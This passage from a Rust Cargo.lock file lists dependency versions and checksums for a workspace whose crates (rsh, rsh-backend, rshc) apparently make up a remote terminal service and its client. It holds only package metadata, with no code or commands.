"9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1" +dependencies = [ + "foldhash", +] + +[[package]] +name = "hashbrown" +version = "0.17.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a" + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "hmac" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +dependencies = [ + "digest", +] + +[[package]] +name = "hostname" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "617aaa3557aef3810a6369d0a99fac8a080891b68bd9f9812a1eeda0c0730cbd" +dependencies = [ + "cfg-if", + "libc", + "windows-link", +] + +[[package]] +name = "http" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3ba2a386d7f85a81f119ad7498ebe444d2e22c2af0b86b069416ace48b3311a" +dependencies = [ + "bytes", + "itoa", +] + +[[package]] +name = "http-body" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1efedce1fb8e6913f23e0c92de8e62cd5b772a67e7b3946df930a62566c93184" +dependencies = [ + "bytes", + "http", +] + +[[package]] +name = "http-body-util" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b021d93e26becf5dc7e1b75b1bed1fd93124b374ceb73f43d4d4eafec896a64a" +dependencies = [ + "bytes", + "futures-core", + "http", + "http-body", + "pin-project-lite", +] + +[[package]] +name = "httparse" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "humantime" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "135b12329e5e3ce057a9f972339ea52bc954fe1e9358ef27f95e89716fbc5424" + +[[package]] +name = "hyper" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6299f016b246a94207e63da54dbe807655bf9e00044f73ded42c3ac5305fbcca" +dependencies = [ + "atomic-waker", + "bytes", + "futures-channel", + "futures-core", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "smallvec", + "tokio", + "want", +] + +[[package]] +name = "hyper-rustls" +version = "0.27.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33ca68d021ef39cf6463ab54c1d0f5daf03377b70561305bb89a8f83aab66e0f" +dependencies = [ + "http", + "hyper", + "hyper-util", + "rustls", + "tokio", + "tokio-rustls", + "tower-service", + "webpki-roots", +] + +[[package]] +name = "hyper-util" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96547c2556ec9d12fb1578c4eaf448b04993e7fb79cbaad930a656880a6bdfa0" +dependencies = [ + "base64", + "bytes", + "futures-channel", + "futures-util", + "http", + "http-body", + "hyper", + "ipnet", + "libc", + "percent-encoding", + "pin-project-lite", + "socket2", + "tokio", + "tower-service", + "tracing", +] + +[[package]] +name = "icu_collections" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2984d1cd16c883d7935b9e07e44071dca8d917fd52ecc02c04d5fa0b5a3f191c" +dependencies = [ + "displaydoc", + "potential_utf", + "utf8_iter", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_locale_core" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92219b62b3e2b4d88ac5119f8904c10f8f61bf7e95b640d25ba3075e6cac2c29" +dependencies = [ + "displaydoc", + "litemap", + "tinystr", + "writeable", + "zerovec", +] + +[[package]] +name = "icu_normalizer" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c56e5ee99d6e3d33bd91c5d85458b6005a22140021cc324cea84dd0e72cff3b4" +dependencies = [ + "icu_collections", + "icu_normalizer_data", + "icu_properties", + "icu_provider", + "smallvec", + "zerovec", +] + +[[package]] +name = "icu_normalizer_data" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da3be0ae77ea334f4da67c12f149704f19f81d1adf7c51cf482943e84a2bad38" + +[[package]] +name = "icu_properties" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bee3b67d0ea5c2cca5003417989af8996f8604e34fb9ddf96208a033901e70de" +dependencies = [ + "icu_collections", + "icu_locale_core", + "icu_properties_data", + "icu_provider", + "zerotrie", + "zerovec", +] + +[[package]] +name = "icu_properties_data" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e2bbb201e0c04f7b4b3e14382af113e17ba4f63e2c9d2ee626b720cbce54a14" + +[[package]] +name = "icu_provider" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "139c4cf31c8b5f33d7e199446eff9c1e02decfc2f0eec2c8d71f65befa45b421" +dependencies = [ + "displaydoc", + "icu_locale_core", + "writeable", + "yoke", + "zerofrom", + "zerotrie", + "zerovec", +] + +[[package]] +name = "id-arena" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954" + +[[package]] +name = "idna" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b0875f23caa03898994f6ddc501886a45c7d3d62d04d2d90788d47be1b1e4de" +dependencies = [ + "idna_adapter", + "smallvec", + "utf8_iter", +] + +[[package]] +name = "idna_adapter" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb68373c0d6620ef8105e855e7745e18b0d00d3bdb07fb532e434244cdb9a714" +dependencies = [ + "icu_normalizer", + "icu_properties", +] + +[[package]] +name = "indexmap" +version = "2.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d466e9454f08e4a911e14806c24e16fba1b4c121d1ea474396f396069cf949d9" +dependencies = [ + "equivalent", + "hashbrown 0.17.1", + "serde", + "serde_core", +] + +[[package]] +name = "inout" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" +dependencies = [ + "block-padding", + "generic-array", +] + +[[package]] +name = "inquire" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fddf93031af70e75410a2511ec04d49e758ed2f26dad3404a934e0fb45cc12a" +dependencies = [ + "bitflags 2.11.1", + "crossterm 0.25.0", + "dyn-clone", + "fuzzy-matcher", + "fxhash", + "newline-converter", + "once_cell", + "unicode-segmentation", + "unicode-width 0.1.14", +] + +[[package]] +name = "ioctl-rs" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7970510895cee30b3e9128319f2cefd4bde883a39f38baa279567ba3a7eb97d" +dependencies = [ + "libc", +] + +[[package]] +name = "ipnet" +version = "2.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d98f6fed1fde3f8c21bc40a1abb88dd75e67924f9cffc3ef95607bad8017f8e2" + +[[package]] +name = "is_terminal_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695" + +[[package]] +name = "itoa" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" + +[[package]] +name = "js-sys" +version = "0.3.98" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67df7112613f8bfd9150013a0314e196f4800d3201ae742489d999db2f979f08" +dependencies = [ + "cfg-if", + "futures-util", + "once_cell", + "wasm-bindgen", +] + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" +dependencies = [ + "spin", +] + +[[package]] +name = "leb128fmt" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09edd9e8b54e49e587e4f6295a7d29c3ea94d469cb40ab8ca70b288248a81db2" + +[[package]] +name = "libc" +version = "0.2.186" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68ab91017fe16c622486840e4c83c9a37afeff978bd239b5293d61ece587de66" + +[[package]] +name = "libm" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6d2cec3eae94f9f509c767b45932f1ada8350c4bdb85af2fcab4a3c14807981" + +[[package]] +name = "libredox" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e02f3bb43d335493c96bf3fd3a321600bf6bd07ed34bc64118e9293bdffea46c" +dependencies = [ + "bitflags 2.11.1", + "libc", + "plain", + "redox_syscall 0.7.5", +] + +[[package]] +name = "linux-raw-sys" +version = "0.4.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab" + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "litemap" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92daf443525c4cce67b150400bc2316076100ce0b3686209eb8cf3c31612e6f0" + +[[package]] +name = "litrs" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11d3d7f243d5c5a8b9bb5d6dd2b1602c0cb0b9db1621bafc7ed66e35ff9fe092" + +[[package]] +name = "lock_api" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965" +dependencies = [ + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897" + +[[package]] +name = "lru-slab" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "112b39cec0b298b6c1999fee3e31427f74f676e4cb9879ed1a121b43661a4154" + +[[package]] +name = "matchers" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1525a2a28c7f4fa0fc98bb91ae755d1e2d1505079e05539e35bc876b5d65ae9" +dependencies = [ + "regex-automata", +] + +[[package]] +name = "matchit" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e7465ac9959cc2b1404e8e2367b43684a6d13790fe23056cc8c6c5a6b7bcb94" + +[[package]] +name = "memchr" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79" + +[[package]] +name = "memoffset" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5aa361d4faea93603064a027415f07bd8e1d5c88c9fbf68bf56a285428fd79ce" +dependencies = [ + "autocfg", +] + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "mio" +version = "0.8.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4a650543ca06a924e8b371db273b2756685faae30f8487da1b56505a8f78b0c" +dependencies = [ + "libc", + "log", + "wasi", + "windows-sys 0.48.0", +] + +[[package]] +name = "mio" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50b7e5b27aa02a74bac8c3f23f448f8d87ff11f92d3aac1a6ed369ee08cc56c1" +dependencies = [ + "libc", + "log", + "wasi", + "windows-sys 0.61.2", +] + +[[package]] +name = "newline-converter" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47b6b097ecb1cbfed438542d16e84fd7ad9b0c76c8a65b7f9039212a3d14dc7f" +dependencies = [ + "unicode-segmentation", +] + +[[package]] +name = "nix" +version = "0.25.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f346ff70e7dbfd675fe90590b92d59ef2de15a8779ae305ebcbfd3f0caf59be4" +dependencies = [ + "autocfg", + "bitflags 1.3.2", + "cfg-if", + "libc", + "memoffset", + "pin-utils", +] + +[[package]] +name = "nu-ansi-term" +version = "0.50.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7957b9740744892f114936ab4a57b3f487491bbeafaf8083688b16841a4240e5" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "num-bigint-dig" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e661dda6640fad38e827a6d4a310ff4763082116fe217f279885c97f511bb0b7" +dependencies = [ + "lazy_static", + "libm", + "num-integer", + "num-iter", + "num-traits", + "rand 0.8.6", + "smallvec", + "zeroize", +] + +[[package]] +name = "num-conv" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6673768db2d862beb9b39a78fdcb1a69439615d5794a1be50caa9bc92c81967" + +[[package]] +name = "num-integer" +version = "0.1.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" +dependencies = [ + "num-traits", +] + +[[package]] +name = "num-iter" +version = "0.1.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1429034a0490724d0075ebb2bc9e875d6503c3cf69e235a8941aa757d83ef5bf" +dependencies = [ + "autocfg", + "num-integer", + "num-traits", +] + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", + "libm", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" + +[[package]] +name = "once_cell_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe" + +[[package]] +name = "opaque-debug" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381" + +[[package]] +name = "openssl-probe" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c87def4c32ab89d880effc9e097653c8da5d6ef28e6b539d313baaacfbafcbe" + +[[package]] +name = "option-ext" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" + +[[package]] +name = "owo-colors" +version = "4.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d211803b9b6b570f68772237e415a029d5a50c65d382910b879fb19d3271f94d" + +[[package]] +name = "p256" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9863ad85fa8f4460f9c48cb909d38a0d689dba1f6f6988a5e3e0d31071bcd4b" +dependencies = [ + "ecdsa", + "elliptic-curve", + "primeorder", + "sha2", +] + +[[package]] +name = "p384" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe42f1670a52a47d448f14b6a5c61dd78fce51856e68edaa38f7ae3a46b8d6b6" +dependencies = [ + "ecdsa", + "elliptic-curve", + "primeorder", + "sha2", +] + +[[package]] +name = "p521" +version = "0.13.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fc9e2161f1f215afdfce23677034ae137bbd45016a880c2eb3ba8eb95f085b2" +dependencies = [ + "base16ct", + "ecdsa", + "elliptic-curve", + "primeorder", + "rand_core 0.6.4", + "sha2", +] + +[[package]] +name = "parking_lot" +version = "0.12.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall 0.5.18", + "smallvec", + "windows-link", +] + +[[package]] +name = "password-hash" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "346f04948ba92c43e8469c1ee6736c7563d71012b17d40745260fe106aac2166" +dependencies = [ + "base64ct", + "rand_core 0.6.4", + "subtle", +] + +[[package]] +name = "pbkdf2" +version = "0.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ed6a7761f76e3b9f92dfb0a60a6a6477c61024b775147ff0973a02653abaf2" +dependencies = [ + "digest", +] + +[[package]] +name = "pem-rfc7468" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88b39c9bfcfc231068454382784bb460aae594343fb030d46e9f50a645418412" +dependencies = [ + "base64ct", +] + +[[package]] +name = "percent-encoding" +version = "2.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "pkcs1" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8ffb9f10fa047879315e6625af03c164b16962a5368d724ed16323b68ace47f" +dependencies = [ + "der", + "pkcs8", + "spki", +] + +[[package]] +name = "pkcs8" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7" +dependencies = [ + "der", + "spki", +] + +[[package]] +name = "plain" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4596b6d070b27117e987119b4dac604f3c58cfb0b191112e24771b2faeac1a6" + +[[package]] +name = "poly1305" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8159bd90725d2df49889a078b54f4f79e87f1f8a8444194cdca81d38f5393abf" +dependencies = [ + "cpufeatures", + "opaque-debug", + "universal-hash", +] + +[[package]] +name = "polyval" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d1fe60d06143b2430aa532c94cfe9e29783047f06c0d7fd359a9a51b729fa25" +dependencies = [ + "cfg-if", + "cpufeatures", + "opaque-debug", + "universal-hash", +] + +[[package]] +name = "portable-pty" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "806ee80c2a03dbe1a9fb9534f8d19e4c0546b790cde8fd1fea9d6390644cb0be" +dependencies = [ + "anyhow", + "bitflags 1.3.2", + "downcast-rs", + "filedescriptor", + "lazy_static", + "libc", + "log", + "nix", + "serial", + "shared_library", + "shell-words", + "winapi", + "winreg", +] + +[[package]] +name = "potential_utf" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0103b1cef7ec0cf76490e969665504990193874ea05c85ff9bab8b911d0a0564" +dependencies = [ + "zerovec", +] + +[[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "prettyplease" +version = "0.2.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" +dependencies = [ + "proc-macro2", + "syn", +] + +[[package]] +name = "primeorder" +version = "0.13.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "353e1ca18966c16d9deb1c69278edbc5f194139612772bd9537af60ac231e1e6" +dependencies = [ + "elliptic-curve", +] + +[[package]] +name = "proc-macro2" +version = "1.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quinn" +version = "0.11.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e20a958963c291dc322d98411f541009df2ced7b5a4f2bd52337638cfccf20" +dependencies = [ + "bytes", + "cfg_aliases", + "pin-project-lite", + "quinn-proto", + "quinn-udp", + "rustc-hash", + "rustls", + "socket2", + "thiserror 2.0.18", + "tokio", + "tracing", + "web-time", +] + +[[package]] +name = "quinn-proto" +version = "0.11.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "434b42fec591c96ef50e21e886936e66d3cc3f737104fdb9b737c40ffb94c098" +dependencies = [ + "bytes", + "getrandom 0.3.4", + "lru-slab", + "rand 0.9.4", + "ring", + "rustc-hash", + "rustls", + "rustls-pki-types", + "slab", + "thiserror 2.0.18", + "tinyvec", + "tracing", + "web-time", +] + +[[package]] +name = "quinn-udp" +version = "0.5.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "addec6a0dcad8a8d96a771f815f0eaf55f9d1805756410b39f5fa81332574cbd" +dependencies = [ + "cfg_aliases", + "libc", + "once_cell", + "socket2", + "tracing", + "windows-sys 0.60.2", +] + +[[package]] +name = "quote" +version = "1.0.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41f2619966050689382d2b44f664f4bc593e129785a36d6ee376ddf37259b924" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "rand" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ca0ecfa931c29007047d1bc58e623ab12e5590e8c7cc53200d5202b69266d8a" +dependencies = [ + "libc", + "rand_chacha 0.3.1", + "rand_core 0.6.4", +] + +[[package]] +name = "rand" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44c5af06bb1b7d3216d91932aed5265164bf384dc89cd6ba05cf59a35f5f76ea" +dependencies = [ + "rand_chacha 0.9.0", + "rand_core 0.9.5", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_chacha" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb" +dependencies = [ + "ppv-lite86", + "rand_core 0.9.5", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.17", +] + +[[package]] +name = "rand_core" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76afc826de14238e6e8c374ddcc1fa19e374fd8dd986b0d2af0d02377261d83c" +dependencies = [ + "getrandom 0.3.4", +] + +[[package]] +name = "redox_syscall" +version = "0.5.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d" +dependencies = [ + "bitflags 2.11.1", +] + +[[package]] +name = "redox_syscall" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4666a1a60d8412eab19d94f6d13dcc9cea0a5ef4fdf6a5db306537413c661b1b" +dependencies = [ + "bitflags 2.11.1", +] + +[[package]] +name = "redox_users" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba009ff324d1fc1b900bd1fdb31564febe58a8ccc8a6fdbb93b543d33b13ca43" +dependencies = [ + "getrandom 0.2.17", + "libredox", + "thiserror 1.0.69", +] + +[[package]] +name = "redox_users" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4e608c6638b9c18977b00b475ac1f28d14e84b27d8d42f70e0bf1e3dec127ac" +dependencies = [ + "getrandom 0.2.17", + "libredox", + "thiserror 2.0.18", +] + +[[package]] +name = "regex-automata" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e1dd4122fc1595e8162618945476892eefca7b88c52820e74af6262213cae8f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc897dd8d9e8bd1ed8cdad82b5966c3e0ecae09fb1907d58efaa013543185d0a" + +[[package]] +name = "reqwest" +version = "0.12.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eddd3ca559203180a307f12d114c268abf583f59b03cb906fd0b3ff8646c1147" +dependencies = [ + "base64", + "bytes", + "futures-channel", + "futures-core", + "futures-util", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-rustls", + "hyper-util", + "js-sys", + "log", + "percent-encoding", + "pin-project-lite", + "quinn", + "rustls", + "rustls-pki-types", + "serde", + "serde_json", + "serde_urlencoded", + "sync_wrapper", + "tokio", + "tokio-rustls", + "tower", + "tower-http", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", + "webpki-roots", +] + +[[package]] +name = "rfc6979" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dd2a808d456c4a54e300a23e9f5a67e122c3024119acbfd73e3bf664491cb2" +dependencies = [ + "hmac", + "subtle", +] + +[[package]] +name = "ring" +version = "0.17.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" +dependencies = [ + "cc", + "cfg-if", + "getrandom 0.2.17", + "libc", + "untrusted", + "windows-sys 0.52.0", +] + +[[package]] +name = "rpassword" +version = "7.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ac5b223d9738ef56e0b98305410be40fa0941bf6036c56f1506751e43552d64" +dependencies = [ + "libc", + "rtoolbox", + "windows-sys 0.61.2", +] + +[[package]] +name = "rsa" +version = "0.9.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8573f03f5883dcaebdfcf4725caa1ecb9c15b2ef50c43a07b816e06799bb12d" +dependencies = [ + "const-oid", + "digest", + "num-bigint-dig", + "num-integer", + "num-traits", + "pkcs1", + "pkcs8", + "rand_core 0.6.4", + "sha2", + "signature", + "spki", + "subtle", + "zeroize", +] + +[[package]] +name = "rsh" +version = "0.1.0" +dependencies = [ + "anyhow", + "bytes", + "clap", + "futures-util", + "hostname", + "portable-pty", + "rsh-types", + "serde", + "serde_json", + "tokio", + "tokio-tungstenite", + "tracing", + "tracing-subscriber", + "whoami", +] + +[[package]] +name = "rsh-backend" +version = "0.1.0" +dependencies = [ + "anyhow", + "argon2", + "axum", + "bytes", + "dashmap", + "futures-util", + "rand 0.8.6", + "rsh-types", + "serde", + "serde_json", + "signature", + "ssh-key", + "thiserror 1.0.69", + "time", + "tokio", + "tower-http", + "tracing", + "tracing-subscriber", +] + +[[package]] +name = "rsh-types" +version = "0.1.0" +dependencies = [ + "serde", + "serde_json", + "thiserror 1.0.69", +] + +[[package]] +name = "rshc" +version = "0.1.0" +dependencies = [ + "anyhow", + "argon2", + "bytes", + "clap", + "comfy-table", + "crossterm 0.28.1", + "dirs 5.0.1", + "futures-util", + "humantime", + "inquire", + "owo-colors", + "rand 0.8.6", + "reqwest", + "rpassword", + "rsh-types", + "serde", + "serde_json", + "serde_yaml", + "shellexpand", + "signature", + "ssh-key", + "tempfile", + "thiserror 1.0.69", + "time", + 